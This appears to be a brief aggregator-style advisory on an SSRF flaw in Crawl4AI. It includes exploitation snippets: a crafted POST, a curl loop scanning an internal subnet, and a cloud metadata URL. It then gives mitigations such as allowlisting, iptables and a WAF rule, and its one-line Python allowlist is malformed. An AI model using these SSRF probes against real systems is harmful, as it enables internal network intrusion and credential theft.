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How the CVE Works:
Crawl4AI versions <=0.4.247 contain an SSRF vulnerability in /crawl4ai/async_dispatcher.py. The flaw allows attackers to manipulate server-side requests by injecting malicious URLs, bypassing access controls. The async dispatcher fails to validate user-supplied input, enabling unauthorized interactions with internal systems or external endpoints. Attackers can exfiltrate sensitive data, scan internal networks, or escalate attacks via crafted HTTP requests. The lack of proper URL sanitization and network-level restrictions makes this exploitable in default configurations.
DailyCVE Form:
Platform: Crawl4AI
Version: <=0.4.247
Vulnerability: SSRF
Severity: Moderate
Date: Apr 21, 2025
What Undercode Say:
Exploitation:
1. Craft Malicious Payload:
import requests
target = "http://victim.com/crawl4ai/async_dispatcher"
payload = {"url": "http://internal-service.local"}
requests.post(target, json=payload)
2. Internal Network Scan:
for i in {1..254}; do curl "http://victim.com/crawl4ai/async_dispatcher?url=http://192.168.1.$i"; done
3. Exfiltrate Metadata:
exploit_url = "http://169.254.169.254/latest/meta-data"
Protection:
1. Input Validation:
from urllib.parse import urlparse allowed_domains = ["trusted.com"] def validate_url(url): domain = urlparse(url).netloc return domain in allowed_domains
2. Network Restrictions:
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
3. Patch Update:
pip install crawl4ai --upgrade
4. WAF Rules:
location /crawl4ai/ {
if ($args ~ "url=http://(internal|169.254)") {
return 403;
}
}
5. Log Monitoring:
grep "async_dispatcher.url=" /var/log/crawl4ai.log | awk '{print $1}'
6. Disable Dangerous Endpoints:
@app.route('/crawl4ai/async_dispatcher', methods=['POST'])
def dispatcher():
return "Endpoint disabled", 403
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
